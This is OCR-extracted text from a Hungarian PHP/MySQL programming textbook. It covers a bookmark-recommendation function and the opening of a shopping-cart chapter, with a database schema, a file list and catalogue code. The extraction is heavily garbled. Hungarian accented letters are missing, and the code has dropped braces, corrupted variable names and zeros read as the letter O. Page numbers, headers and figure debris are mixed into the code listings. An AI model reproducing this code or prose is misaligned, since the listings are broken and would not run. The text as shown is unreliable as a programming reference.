SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi nev IN (SELECT DISTINCT(b2.felhasznaloi_nev) FROM konyvjelzo bl, konyvjelzo b2

WHERE bl.felhasznaloi_nev='".$ervenyes felhasznalo."' AND bl.felhasznaloi nev != b2.felhasznaloi nev

AND bl.kj URL = b2.kj URL)

Egy msodik egymsba gyazott lekrdezssei kiszrjk az aktulis felhasznl knyvjelzit; ha a felhasznl sajt ma gnak mr felvert egy knyvjelzt, nem sok rtelme lenne ugyanazt ajnlani neki. Vgezetl tovbbi szrst valsrunk meg a $nepszeruseg vltozval. Nem szeretnnk tl szemlyes jelleg URL-eket ajnlani, ezrt csak olyan knyvjelzte hvjuk fel a felhasznl figyelmt, amit a hasonl rdeklds felhasznlk listjbl adott szm szemly is felvert sajt knyvjelzi kz. Az utols lekrdezs a kvetkezkppen nz ki:
SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi nev IN (SELECT DISTINCT(b2.felhasznaloi_nev) FROM konyvjelzo bl, konyvjelzo b2

WHERE bl.felhasznaloi_nev='".$ervenyes felhasznalo."' AND bl.felhasznaloi nev != b2.felhasznaloi nev

AND bl.kj_URL = b2.kj_URL) AND kj_URL NOT IN (SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi_nev='".$ervenyes felhasznalo."') GROUP BY kJ RL

HAVING COUNT(kj_URL)>".$nepszeruseg;

Ha azt tapasztaljuk, hogy mr j sok felhasznlja van rendszernknek, akkor a $nepszeruseg vltoz rtkt nvelve csak olyan URL-eket ajnlunk, amelyeket kellen nagy szm felhasznl vert fel a listjba. A sokak ltal megjellt URL-ek mgrt minden bizonnyal jobb s szlesebb kznsg szmra vonz honlapokat tallunk.

27

Az ajnlsokat elllt teljes kdot a 27.26 s a 27.27 pldakdban lthatjuk. A f kd neve aj anlas.ph p (27.26 plda kd). Ez az, ami meghvja az url_fuggvenyek.php fggvnyknyvtrbl az ajnlsokat ad url_aj anlo () fggvnyt (27.27 pldakd).

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

417

27.26 pldakd: ajanlas.php-A


<?php

kd a jelhasznlt Jeltehetleg rdekel knyvjelzket ajnl a figyelmbe

require_once('konyvjelzo_fuggvenyek.php'); session start(); html_fejlec_letrehozasa('Ajnlott URL-ek'); try

{
url_ajanlo($_SESSION['ervenyes felhasznalo']);

ervenyes felhasznalo_ellenorzese(); Surlek


=

ajanlott_urlek_megjelenitese($urlek);

catch(Exception $e)

echo $e->getMessage();

felhasznaloi_menu_megjelenitese(); html_lablec_letrehozasa(); ?>

27.27 pldakd:

Az url_fuggvenyek.php knyvtr url_aj anlo() fggvnye- Ez a fggvny vlaszlja ki a Jelajnland

URL-eket
function url_ajanlo($ervenyes felhasznalo, $nepszeruseg
=

l)

ll Rszben intelligens ajnlsokat adunk az embereknek ll Ha van ms felhasznlkkal kzs URL-jk,


$kapcsolat = adatbazishoz_kapcsolodas(); akkor elkpzelhet,

ll hogy ezen ms felhasznlk tovbbi URL-jeit is szeretni fogjk

ll azon felhasznlk megkeresse, ll akikkel kzs URL-nk van ll a felhasznlk szemlyes jelleg knyvjelzinek kizrsa ll s a megfelel rdekldsre szmot tart URL-ek ajnlsa rdekben ll meghatrozzuk a minimlis npszersgi szintet ll ha $nepszeruseg = l,
akkor egynl tbb ember fel kellett, hogy ajnljuk azt

ll hogy vegye az URL-t ahhoz,


$lekerdezes = "SELECT kj URL

FROM konyvjelzo WHERE felhasznaloi nev IN (SELECT DISTINCT(b2.felhasznaloi nev) FROM konyvjelzo bl, konyvjelzo b2

WHERE bl.felhasznaloi_nev='".$ervenyes_felhasznalo."' AND bl.felhasznaloi nev AND bl.kj URL AND kj_URL NOT IN (SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi_nev='".$ervenyes felhasznalo."') GROUP BY kj_URL HAVING count(kj_URL)>".$nepszeruseg;

!= b2.felhasznaloi nev

b2.kj_URL)

if

(! ($eredmeny = $kapcsolat->query ($lekerdezes)))

27

throw new Exception('Nincsenek ajnlhat knyvjelzk. ');

418

27. fejezet

if ($eredmeny->num_rows==O)

throw new Exception('Nincsenek ajnlhat knyvjelzk. ');

Surlek = array();

ll relevns URL-ek tmbjnek ltrehozsa


for ($szamlalo=O; $sor = $eredmeny->fetch_object(); = $sor->kj_URL; $szamlalo++)

$urlek[$szamlalo]

return $urlek;

A 27.11 brn az ajanlas. php kd egy lehetsges kimenett ltjuk.

cr

tlll

._.. . a

:Y..,

.._"..

_.....

eo--

)>oi

PHPbookmark

Ajnlott URL-e

27.11 bra: Az ajanlas. ph p kd az amazon.com oldalt ajnlotta a Jelhasznl figyelmbe.

Az adatbzisban legalbb kt olyan msikJelhasznl van, aki szereti az oldalt, s Jelvette knyvjelzi kz.

A projekt tovbbfejlesztsnek lehetsges irnyai


A fejezet oldalain a PHPbookmark alkalmazs alapvet funkciit murattuk be s hoztuk ltre. Szmos tovbbi lehetsgnk

nylik tovbbfejleszteni az alkalmazst. Gondoljuk vgig a kvetkez funkcik hozzadst:


A knyvjelzk tmakrk szerinti csoporrosrsa

"Hozzads a knyvjelzimhez" hivatkozs megjelentse az ajnlott knyvjelzknl


A reljes adatbzis vagy adott tmakr legnpszerbb URL-jeinek ajnlsa

Rendszergazdai fellet a felhasznlk s tmk ltrehozsra s adminisztrlsra Intelligensebb vagy gyorsabb mdszer a knyvjelzk ajnlsra
A felhasznl ltal megadott adatok tovbbi szempontok szerinti ellenrzse

Prbljuk meg megvalstani ezeket! A kisrierezs a tanuls egyik legjobb mdja.

Hogyan tovbb?
A kvetkez projektben online vsrlsra alkalmas kosarat hozunk ltre, amely lehetv teszi oldalunk ltogatinak, hogy bn

gszs kzben, vsrlsuk vglegestse s az elektronikus fizets eltt abba rakjk a kivlasztott termkeket.

27

28
Kosr funkci programozsa
A fejezerben megtanuljuk, hogyan kszthetnk oldalunk ltogati szmra vsrlst lehetv tev kosarat. A kosr funkcit
A

28

MySQL hasznlata cm II. rszben kidolgozott Book-O-Rama adarbzisra lrerjk. A fejezer vgn rviden megvizsgljuk
Kosr (angolul shopping eart vagy shopping basker) funkci alatt az online vsrls mechanizmust rtjk. Mikzben online

annak lehersgr, hogy ltez, nylt forrskd PHP kosarat llrunk be s vesznk ignybe weboldalunkon. katalgust bngsznk, kosrba tehetjk (kivlaszthatjuk) az egyes termkeket. Ha befejezrk a bngszst, az online bolt kasszjhoz jrulunk - vagyis kifizetjk a kosarunkba tett termkeket. A jelenlegi projekt kosr funkcijnak megvalstshoz az albbiakra lesz szksgnk: Az online rtkesteni kvnt termkek adarbzisa Online rermkkaralgus, amely karegrikra bonthat Kosr, arnivel nyomon kvethetjk a felhasznl ltal megvsrolni kvnt termkeker A fizetsi s szllrsi adatokat feldolgoz pnztr funkci Adminisztrcis fellet

A megolds alkotelemei
Bizonyra emlksznk a II. rszben kidolgozott Book-O-Rama adatbzisra. Mostani projektnkben a Book-O-Rama kny vesbolt online ruhzt fogjuk beindtani. A megolds alkotelemeinek az albbi ltalnos elvrsoknak kell megfelelnik: Meg kell tallni annak mdjr, hogyan kapcsolhatjuk ssze az adarbzist a felhasznlk bngszjveL A felhasznlk szmra lehetv kell tennnk a termkek karegrinknti bngszsr. A felhasznlk kivlaszthatjk a katalgusbl a ksbb megvsrolni kvnt termkeket. Nyomon kell kvetnnk, hogy mely termkeker vlaszrottk ki. Miutn a felhasznlk befejeztk a vsrlst, ki kell szmolnunk rendelsk vgsszegt, be kell krnnk szllrsi adata ikat, majd fel kell dolgoznunk fizetsket. Adminisztrcis felletet kell fejlesztennk a Book-O-Rama oldalhoz, hogy a rendszergazda knyveket s kategrikat adhasson az oldalhoz, illetve szerkeszrhesse a meglvket. Most, hogy megismertk a projekttel szembeni elvrsokat, elkezdhetjk megtervezni a megoldst s alkotelemeit.

Online katalgus ltrehozsa


A Book-O-Rama katalgus alapjt ad adarbzis mr rendelkezsnkre ll. A mosrani alkalmazshoz azonban mdosr sokta s kiegsztsekre lesz szksg. Ilyen kiegszts pldul a projektkvetelmnyek kztt is szerepl knyvkategrik hozzadsa. A meglv adarbzist is ki kell egszteni a szlltsi cmekkel, a fizetsi adatokkal stb. Azzal mr tisztban vagyunk, hogyan lehet PHP segtsgvel csarolfelletet (interfszt) ltrehozni MySQL adatbzishoz, gy a megolds ezen rsze gyerekjtk kell, hogy legyen. A vsrlk megrendelseinek teljestshez tranzakcikat is hasznlnunk kell. Ehhez konvertlni kell a Book-O-Rama tb lkat, hogy
az

InnoDB trolmotort hasznljk. Ez a lps is viszonylag magtl rtetd lesz.

A felhasznlk ltal vsrls kzben megrendelt termkek nyomon kvetse


Alapveten ktflekppen kvethetjk nyomon a ltogatk vsrls kzben kivlasztott tteleit. Az egyik mdszer, ha adatb zisba rakjuk a kivlasztott termkeket, a msik mdszer pedig a munkamener- (session) vltoz hasznlata.

420

28. fejezet

A kivlasztott ttelek munkamenet-vltoz segtsgvel trtn nyilvntartsa egyszerbben programozhat, mert nem szksges minden egyes alkalommal az adatbzist lekrdezve beszerezni az informcit. Ezzel a mdszerrel az is elkerl

28

het, hogy a csak bngsz, de vgl a kivlasztorr termkeket meg nem vsrl felhasznJk egy csom felesleges adarral terheljk az adatbzist. Ezrt munkamenet-vltozt vagy vltozkat kell kialaktani a felhasznJk ltal kivlasztorr termkek trolsra. Ami kor egy felhasznl befejezi a vsrlst, s kifizeti a megrendelt termkeket, a munkamenet-vltozban trolt informcikat a tranzakci rekordjaknt eltroljuk az adatbzisban. Ezeket az adatokat arra is felhasznlhatjuk, hogy az oldal valamelyik sarkban rvid sszegzs adjunk a kosr aktulis tartal mrl, gy a felhasznl tisztban lehet vele, hogy mennyit kell m:Yd fizetnie az addig kivlasztott termkekrt.

Fizetsi rendszer megvalstsa


Projektnkben a felhasznl rendelse s szlltsi adatai alapjn feldolgozzuk a vsrlst, de a tnyleges fizetsi folyamattal nem foglalkozunk. Szmtalan fizetsi rendszer kzl vlaszthatunk, amelyek mindegyikt mshogyan kell megvalstani. A projektben egyszeren egy dummy fggvnyt hasznlunk, amit brmikor lecserlhetnk a kivlasztott rendszerhez alkalmas interfsszel. Ugyan szmtalan klnbz fizetsi tjr (payment gateway) kzl vlaszthatunk, s az egyes tjrkhoz is tbbfle inter fsz hasznlhat, a vals idej hitelkrtya-feldolgoz interfszek mkdse nagyjbl hasonl. Az elfogadni kvnt bankkr tyk tpusa alapjn kereskedi bankszmlt kell nyitnunk valamely banknl- s jellemzerr a bank megadja neknk a fizetsi rendszer ltala ajnlott szolgltatinak listijt. A kivlasztott szolgltat pontosan meghatrozza, hogy milyen paramtereket s hogyan kell rendszernek tadnunk. Szmos fizetsi rendszernl megadjk szmunkra a PHP alkalmazsokhoz hasznlhat mintakdot, amivel egyszeren lecserlhetjk a jelen fejezetben ltrehozott dummy fggvnyt. Hasznlat kzben a fizetsi rendszer tovbbtja adatainkat egy banknak, s vagy a sikeres tranzakci kdjt vagy - valami lyen problma esetn - a szmtalan klnbz hibakd valamelyikt adja vissza. Adataink tovbbtsrt cserbe a fizetsi tjr zemeltetsi vagy havidjat, illetve a tranzakcik szmtl vagy rtktl fgg hasznlati djat kr. Fizetsi rendszernknek legalbb az gyfladatokra (pldul hitelkrtya szma), a sajt azonost adatainkra (azt meghat rozand, hogy melyik kereskedi szmln kell a fizetst jvrni) s a tranzakci vgsszegre szksge lesz. A megrendels vgsszegt a felhasznl kosarnak munkamenet-vltozjbl tudjuk kiszmtani. Ha ezzel megvagyunk, a vgleges rendelsi adatokat rgztjk adatbzisunkban, ezt kveten pedig brmikor megszabadulhatunk a munkamenet-vl toztl.

Adminisztrcis fellet programozsa


A fizetsi rendszeren s a mr emltett komponenseken kvl olyan adminisztrcis felletet is ltre kell hoznunk, ahol knyve ket s kategrikat lehet hozzadni az adatbzishoz, illetve trlni s szerkeszteni lehet a meglvket. Az egyik leggyakrabban alkalmazorr szerkesztsi feladat az egyes ttelek rnak megvltoztatsa (pldul klnleges ;ynlat vagy akci esetn). Ez azt jelenti, hogy amikor eltroljuk a vsrlk rendelst, az ltaluk az adott termkrt fizetend rat is fel kell jegyeznnk. Knyvelsi szempontbl rmlom lenne egy olyan szituci, amikor csak az az informci lenne birtokunk ban, hogy milyen termkeket rendelt a vsrl, s mi azoknak az aktulis ra. Ha viszont feljegyezzk a termkek vsrlskori rt is, akkor visszakldsk vagy cserjk esetn a megfelel sszeget tudjuk jvrni a vsrlnak. Pldnkban nem fogunk a teljestsek s a rendelsek nyomon kvetsre alkalmas felletet kifejleszteni, a ksbbiekben azonban ignyeinknek megfelelerr kiegszthetjk a most ltrehozand alaprendszert.

A megolds ttekintse
Rakjuk most ssze az eddig ttekinterr elemeket! A rendszernknek kt alapnzere van: az egyik a felhasznli, a msik a rendszergazdai nzet. Az elvrt funkcik vgiggondolsa utn kt folyamatbrt kaptunk, egyet-egyet a klnbz nzetek hez. A 28.1, illetve a 28.2 brn lthatjuk ezeket.

Kosr funkci programozsa

421

28

28.1 bra: A Book-O-Rama rendszer felhasznli nzetben a ltogatk kategrikban bngszhetnek a knyvek kztt,

megtekinthetik a knyvek adatait, knyveket rakhatnak kosarukba, s megvsro/haljk azokat.

28.2 bra: A Book-O-Rama alkalmazs rendszergazdai nzetben knyveket s kategrikat lehet fe/vinni, szerkeszteni s trlni.

A 28.1 bra az oldal felhasznli fellett alkot kdok kztri fbb kapcsolatokat mutatja. A vsrl elszr a nyitoldalra jut, amely az oldalon tallhat sszes knyvkategrit felsorolja. Innen adott kategrira, onnan pedig az egyes knyvek rszle tes adataira lphet tovbb. A knyvek mell hivatkozst adunk a felhasznlknak, hogy kosarukba tehessk az rut. A kosrbl az online bolt pnztrba mehernek tovbb. A 28.2 brn az adminisztrcis felletet ltjuk, amely tbb kdot tartalmaz ugyan, m ezekben nem sok jdonsg lesz. Ezek a kdok lehetv teszik a rendszergazdnak, hogy bejelentkezzen, majd knyveket s kategrikat adjon hozz a meglvkhz. A knyvek s kategrik szerkesztsnek s trlsnek Iehetsgc a legegyszerbben gy valsthatjuk meg, ha az oldal felhasznli fellethez hasonl, m arrl kiss eltr verzit jelenrunk meg a rendszergazdnak. is bngszhet a kategrik s a knyvek kztr, m a kosr helyerr az egyes knyvekre vagy kategrikra naviglhat: szerkesztheti vagy trlheti azokat. Azzal, hogy ugyanazokat a kdokat a rendes felhasznJk s a rendszergazdk szmra is hasznlhatv tesszk, idt s ener git takartharunk meg. Az alkalmazs hrom legfbb kdmodulja a kvetkez: Katalgus Kosr funkci s a rendels feldolgozsa (a kt, egymssal ersen sszefgg terletet egy kalap al vesszk) Adminisztrci

422

28. fejezet

Akrcsak az elz fejezetben, most is fuggvnyknyvtrak sort hozzuk ltre, illetve hasznljuk. Ehhez a projekthez az el zben ltotthoz hasonl fuggvny API-t fogunk ignybe venni. Prbljuk meg a HTML-t elllt kdokat egyetlen knyvrr

28

ba pakolni, mert ezzel egyrszt a mkds s a tartalom elvlasztsnak elvt kvetjk, msrszr - s ez a lnyegesebb - kny nyebben olvasharv s kezelherv tesszk kdunkat! A projekt rdekben aprbb vltoztatsokat kellett vgrehajtanunk a Book-O-Rama adatbzison, amit a II. rszben ltreho zott adarbzisrl megklnbztetend a konyv _kosar nvre kereszreltnk r. A projekt teljes kdja megtallhat a letlthet mellkletek kze. A 28.1 tblzat az alkalmazs ltal hasznlt fjlokat foglal ja ssze. 28.1 tblzat: A Nv
index.php

kosr Junkcit megvalst alkalmazsfjijai


Modul Katalgus Lers A felhasznli nyitoldal. A rendszerben szerepl kategrik listjt jelenti meg a fel hasznlknak.

kategoria_megjelenitese.php

Katalgus Katalgus Kosr

A felhasznl szmra az adott kategria sz szes knyvt megjelent oldal. A felhasznl szmra az adott knyv rszle tes adatait megjelent oldal. A felhasznl szmra a kosarnak tartalmt megjelent oldal. Termkeket is ezzel a fjllal adhatnak a kosrhoz.

konyv_megjelenitese.php

kosar_megjelenitese.php

penztar.php

Kosr

A felhasznl szmra az sszes rendelsi adatt megjelent kd. Ez gyjti be a szllt si adatokat is.

vasarlas.php

Kosr Kosr Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci

A felhasznltl fizetsi adatokat begyjt oldal. A fizetsi adatokat feldolgoz s azokat az adatbzishoz hozzad kd. A mdosrsokhoz szksges rendszergazdai bejelentkezst lehetv tev kd. A rendszergazdai felhasznlt kilptet kd. A f adminisztrcis men. A rendszergazdk jelszavnak mdostsra szolgl rlap. A rendszergazdai jelszt megvltoztat kd. Az rlap, amellyel a rendszergazdk j kateg rit adhatnak az adatbzishoz. Az adatbzisba j kategrit beszr kd. Az rlap, amellyel a rendszergazdk j kny vet vihetnek fel a rendszerbe. Az adatbzisba j knyvet beszr kd. Az rlap, amellyel a rendszergazdk szerkeszt hetik a kategrikat. A szerkesztett kategrit az adatbzisban mdost kd. Az rlap, amellyel a rendszergazdk szerkeszt hetik a knyvek adatait. A szerkesztett knyvadatokat az adatbzisban mdost kd. Az adatbzisbl kategrit trl kd.

feldolgozas.php

bejelentkezes.php

kijelentkezes.php admin.php Jelszo_valtoztatas_urlap.php

jelszo_valtoztatas.php kategoria_beszurasa_urlap.php

kategoria_beszurasa.php konyv_beszurasa urlap.php

konyv_beszurasa.php kategora_szerkesztese_urlap.php

kategoria szerkesztese.php

konyv_szerkesztese_urlap.php

konyv_szerkesztese.php

kategoria_torlese.php

Kosr funkci programozsa

423

Nv
konyv_ torlese.php konyv kosar fuggvenyek.php admin_fuggvenyek.php

Modul Adminisztrci Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek SQL SQL

Lers Az adatbzisbl knyvet trl kd.


Az alkalmazs beillesztett fjljainak gyjtemnye.

Az adminisztrcis kdok ltal hasznlt fgg vnyek gyjtemnye. A knyvadatok trolsra s visszakeressre szolgl fggvnyek gyjtemnye. A rendelsi adatok trolsra s visszakeres sre szolgl fggvnyek gyjtemnye. A HTML kimenetet elllt fggvnyek gyjtemnye. A felhasznlk ltal bevitt adatokat ellenrz fggvnyek gyjtemnye. A konyv_kosar adatbzishoz kapcsolds ra hasznlt fggvnyek gyjtemnye. A rendszergazdai felhasznlk hitelestsre hasznlt fggvnyek gyjtemnye. A konyv_kosar adatbzist ltrehoz SQL kd. A konyv _kosar adatbzist mintaadatokkal feltlt SQL kd.

28

konyv_fuggvenyek.php

rendelesi fuggvenyek.php

kimeneti

fuggvenyek.php

adat_ellenorzo fuggvenyek.php

adatbazis fuggvenyek.php

felhasznaloi hitelesites
-

fuggvenyek.php konyv_kosar.sql feltoltes.sql

Most pedig nzzk meg az egyes modulok megvalsitstl

Megjegyzs: Az alkalmazs komoly mennyisg kdbl pl fel. Ezek nagy rsze korbban (elssorban a 27. fejezetben) mr megismert Junkcikat valst meg, pldul adatok trolst s visszakeresst adatbzisbl, illetve a rendszergazdaiJelhasznl hitelestst. Rviden ezeket a kdokat is ttekink, m idnk nagy rszt a kosrfunkciknak szenteljk.

Az adatbzis ltrehozsa
Ahogy korbban mr jelezrk, aprbb mdostsokat hajtottunk vgre a II. rszben megismert Book-O-Rama adatbzison. A konyv_kosar adatbzist elllt SQL kdot a 28.1 pldakd tartalmazza.
28.1 pldakd: konyv _kosar.sqlCREATE DATABASE konyv_kosar; USE konyv_kosar;

A konyv_kosar adatbzist elllt SQL kd

CREATE TABLE vasarlok

vasarloiD INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, nev CHAR(60) NOT NULL, lakeim CHAR(80) NOT NULL,

varos CHAR(30) NOT NULL, allam irsz CHAR(20), CHAR(lO),

orszag CHAR(20) NOT NULL TYPE=InnoDB;

CREATE TABLE megrendelesek

rendelesiD INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, vasarloiD INT UNSIGNED NOT NULL REFERENCES vasarlok(vasarloiD),

424

28. fejezet

osszeg FLOAT(6,2), datum DATE NOT NULL,

28

rendeles_allapota CHAR(lO), szallitasi nev CHAR(60) NOT NULL, szallitasi eim CHAR(80) NOT NULL, szallitasi_varos CHAR(30) NOT NULL, szallitasi allam CHAR(20), szallitasi_irsz CHAR(lO), szallitasi_orszag CHAR(20) NOT NULL TYPE=InnoDB;

CREATE TABLE konyvek

isbn CHAR(13) NOT NULL PRTMARY KEY, szerzo CHAR(100), eim CHAR( 100), kategoriaiD INT UNSIGNED, ar FLOAT(4,2) NOT NULL, leiras VARCHAR(255) TYPE=InnoDB;

CREATE TABLE kategoriak

kategoriaiD INT UNSIGNED NOT NULL AUTO INCREMENT PRTMARY KEY, kategoria_neve CHAR(60) NOT NULL TYPE=InnoDB;

CREATE TABLE rendelesi tetelek

rendelesiO int UNSIGNED NOT NULL REFERENCES rendelesek(rendelesiD), isbn CHAR(13) NOT NULL REFERENCES konyvek(isbn), tetel_ara FLOAT(4,2) NOT NULL, mennyiseg TINYINT UNSIGNED NOT NULL, PRTMARY KEY (rendelesiD, isbn) TYPE=InnoDB;

CREATE TABLE adrnin

felhasznaloi nev CHAR(16) NOT NULL PRTMARY KEY,

j elszo
);

CHAR(40) NOT NULL

GRANT SELECT, INSERT, UPDATE, DELETE ON konyv_kosar.* TO konyv_kosar@loealhost IDENTIFIED BY ' j elszo';

Semmi problma nem volr ugyan az eredeti Book-O-Rama felletre!, most azonhan tovbbi kvetelmnyeknek is meg kell felelnie adatbzisunknak ahhoz, hogy online elrhetv rehessk. Az eredeti adatbzison a kvetkez vltoztatsokat hajtottuk vgre: Tovbbi cmmezk felvtele a vsrlkhoz. Ezekre az j mezkre azrt van szksg, mert a most ltrehozand alkalma zs sokkal kzelebb ll a valdi projekrekhez. A szllrsi cm hozzadsa a rendelshez. A vsrl elrhersge nem minden esetben azonos a szlltsi cmmel, kl nsen akkor nem lesz az, ha pldul ajndkot vsrol az oldalon.

Kosr funkci programozsa

425

A kategoriak rbla ltrehozsa s a konyvek rblhoz hozzadorr kategoriaiD os:dop. A knyvek kategrik ba rendezse knnyebben bngszherv teszi az oldalt. A tetel_ara felvrele a rendelesi_tetelek tblba. Erre azrt van szksg, merr az egyes termkek ra vltoz har. Fontos tudnunk, hogy mennyibe kerlt az adott rrel, amikor a vsrl megrendelte. Az admin tbla hozzadsa az adatbzishoz. Erre a tblra a rendszergazda felhasznli neve s jelszava trolsa miatt van szksgnk. Az rtkelseket tartalmaz tbla eltvoltsa. Ennek ellenre a projektet a ksbbiekben kiegszthetjk az egyes knyvekhez hozzadhat rtkelsekkeL Az rtkelsek helyett a knyv rvid lerst tartalmaz mezvel bvtettk ki a konyvek tblt. A trolmotorok InnoDB-re vltsa. Azrr tettnk gy, hogy idegen kulcsokkal dolgozhassunk, illetve hasznlni tudjuk a tranzakcikat, amikor a vsrlk megrendelseinek adatait visszk be az adatbzisba. Ahhoz, hogy fellltsuk rendszernkn ezt az adatbzist, futtassuk root MySQL-felhasznlknt a konyv_kosar. sql kdot az albbiak szerinr:
mysql -u root -p < konyv_kosar.sql

28

(A parancs futtatshoz meg kell adni root jelszavunkat.) Mindenek eltt rdemes a konyv_ kosar felhasznlnak a ' j els z o' -nl biztonsgosabb jelszt vlasztani. Vigyzat! Ha a konyv_kosar. sql fjlban mdostjuk a jelszt, az adatbazis_ fuggvenyek. php kdban is meg kell ezt tennnk. (Rvidesen ltni fogjuk, hogy pontosan hol.) A projekthez tartozik egy feltoltes. sq_ nev, mintaadatokat tartalmaz f:ijl. Ha az elbbihez hasonl mdon ezt a f:ijlt is futtatjuk MySQL-ben, a mintaadatok bekerlnek adarbzisunkba.

Az online katalgus ltrehozsa


Az alkalmazs katalgus moduljhoz hrom kd tartozik: az egyik a nyitoldal, a msik kett pedig az egyes kategrikat,

illetve az egyes knyvek rszleteit tartalmaz oldalak. A honlap nyroldalr az index. php nev kd lltja el. E kd eredmnyt a 28.3 brn lthatjuk.
,.....-......,._,_,...

.g___.-.- ---- -

C )

.,j--=--,.;,;.;,-,;;-:= r-=-W)

-Book-O-Rama knyvesbortbanl K05z6ntjk a

28.3 bra: A honlap nyitoldala a megvsrolhat knyvek kategriit listzza ki.

Figyeljk meg, hogy az oldalon elrhet kategrik list:ija mellett a kosrra mutar hivatkozst is ltharunk a kperny jobb fels sarkban! Ugyanitt a kosr aktulis rarralmrl is megjelennek sszefoglal adatok. Ezek az elemek minden oldalon lt hatk lesznek, amig a felhasznl vlogat s vsrol az oldalon. Ha a vsrl a kategrik valamelyikre kattint, akkor az adott kategria oldalra kerl, amit a kategoria_
megj elenitese. php

kd llt el. A 28.4 brn az internertel foglalkoz knyvek katalgust lthatjuk.

Az internetes kategriba tartoz sszes knyv hivatkozsknt szerepel. Ha a felhasznl rkattint valamelyik hivatkozsra, a knyv rszletes adatait tartalmaz oldalra kerl. A 28.5 brn az egyik knyvet rszletesen bemutat oldalt lthatjuk. Az ezeken az oldalakon lthat"Kosrba tesz" gomb lehetsget ad a felhasznlknak, hogy vsrls cljbl kivlasszk a rermket. Erre a funkcira ksbb, amikor megnzzk, hogyan hozhatjuk ltre a kosarat, visszatrnk majd. Vizsgljuk meg most egyenknt ezt a hrom kdot!

426

28. fejezet

28

28.4 bra: A kategria sszes knyve fnykppel jelenik meg.

28.5 bra: Mindegyik knyvnek sajt oldala van, amely tovbbi informcit, egyebek kztt hosszabb lerst tartalmaz a kiadvnyrl.

Kategrik listzsa
A projektben hasznlt els kd, az index.php az adatbzisban lev sszes kategrit kilistzza. A kdot a 28.2 pldakdban lthatjuk. 28.2 pldakd: index. ph p -Az online knyvesbolt nyitoldalt elllt kd
<?php session start();

include ('konyv_kosar fuggvenyek.php'); ll A kosrfunkcikhoz munkamenetekre van szksg, ezrt indtsunk egyet!

html_fejlec letrehozasa("Kszntjk a Book-0-Rama knyvesboltban!"); echo "<p>Krjk, vlasszon kategrit:<lp>";

ll kategrik kigyjtse az adatbzisbl $kat tomb


=

kategerlak lekerese();

ll kategrik megjelentse az egyes oldalakra mutat hivatkozsokknt kategoriak_megjelenitese($kat tomb);

ll ha adminknt jelentkeztnk be,

akkor kategria hozzadsa,

ll trlse s szerkesztse hivatkozsok megjelentse

Kosr funkci programozsa

427

if(isset($ SESSION [ 'admin_felhasznalo' l)) gomb_megjelenitese("admin.php",

{
"Admin men");

"admin-menu",

html lablec letrehozasa(); ?>

28

A kd a konyv_kosar_fuggvenyek. php beilleszrsvel indul. Ez a f:ijl az alkalmazs sszes fggvnyknyvrrt tartalmazza. Ezt kveten munkamenetet (sessiont) kell kezdennk. Erre a kosr funkci mkdse rdekben van szksg. A honlap sszes oldala hasznlni fogja a munkamenetet. Az index. php kd olyan HTML kimeneti fggvnyeket is meghv, mint a html_fejlee _letrehozasa () s
a

html_lablec_letrehozasa

() (mindkett a kimeneti_fuggvenyek.php knyvtrban tallhat). Ezen tlmenen

olyan utastsokat is tartalmaz, amelyekkel megllapthat, hogy a felhasznl rendszergazdaknt lpett-e be, hiszen ebben az esetben msmilyen navigcis lehetsgeket kell megjelenteni. Erre a krdsre mg visszatrnk majd a rendszergazdai funkci kkal foglalkoz rszben. A kd legfontosabb rsze a kvetkez:
ll kategrik kigyjtse az adatbzisbl
$kat_tomb = kategoriak_lekerese();

ll kategrik megjelenitse az egyes oldalakra mutat hivatkozsokknt


kategoriak_megjelenitese($kat_tomb);

A kategoriak_lekerese() s a kategoriak_ megjeleni tese() fggvny a konyv_fuggvenyek.php, illerve


a

kimeneti_fuggvenyek.php

fggvnyknyvtrbl szrmazik. A kategoriak _lekerese() fggvny a rendszerben

megtallhat kategrik tmbjt adja vissza, amit a kategoriak _megjelenitese() fggvnynek adunk t. Nzzk meg elszr a kategoriak_lekerese () fggvny kdjt, amit a 28.3 pldakdban tallunk!
28.3 pldakd: A konyv_fuggvenyek. php knyvtr kategoriak_ lekerese ()fggvnye- Ez afggvny keresi vissza

az adatbzisbl a kategrik listjt


function kategoriak_lekerese()

ll kategrialista lekrdezse az adatbzisbl


$kapcsolat = adatbazishoz_kapcsolodas(); $lekerdezes $eredmeny if
= =

"SELECT kategoriaiD,

kategoria_neve

FROM kategoriak";

@$kapcsolat->query($lekerdezes);

(! $eredmeny)
return false;

$kategoriak_szama

@$eredmeny->num_rows;

if ($kategoriak_szama == return false;

0)

$eredmeny = adatbazis_eredmenyek_tombbe($eredmeny); return $eredmeny;

A kdbl kiderl, hogy a kategori ak_lekerese() fggvny kapcsoldik az adatbzishoz, s visszakeresi a kategria azonosrk s -nevek listjt. Ehhez rtunk egy adatbazis _ eredmenyek _tombbe ( ) nev fggvnyt, amely az
adatbazis_fuggvenyek. php eredmeny

knyvrrban tallhat. Ezt a fggvnyt a 28.4 pldakd mutatja. A fggvny veszi az

vltozt, s sorok numerikusan indexelt tmbjt adja vissza, ahol a sorok mindegyike asszociatv tmb.

28.4 pldakd: Az adatbazis_fuggvenyek.php knyvtr adatbazis_eredmenyek_tombbe ()fggvnye- Afgg

vny az eredmnyeket tartalmaz tmbb alakt egy MySQL vltozi


function adatbazis_eredmenyek_tombbe($eredmeny) $eredmeny_tomb = array();

428

28. fejezer

for ($szamlalo=O;

$sor = $eredmeny->fetch_assoc();

$szamlalo++) {

$eredmeny_tomb[$szamlalo] = $sor;

28
return $eredmeny_tomb;

Jelen esetben ezr a rmbr visszajuttatjuk az index. php kdba, ahol is a kimeneti_ fuggvenyek. php knyvtr
kategoriak_megjelenitese() fggvnynek adjuk r. Ez a fggvny hivatkozsknt jelenti meg az egyes kategrikat,

amely hivatkozsok az adott kategriban lv knyveket megjelent oldalra mutarnak. Kdjt a 28.5 pldakdban ralljuk.
28.5 pldakd: A kimeneti_fuggvenyek. php

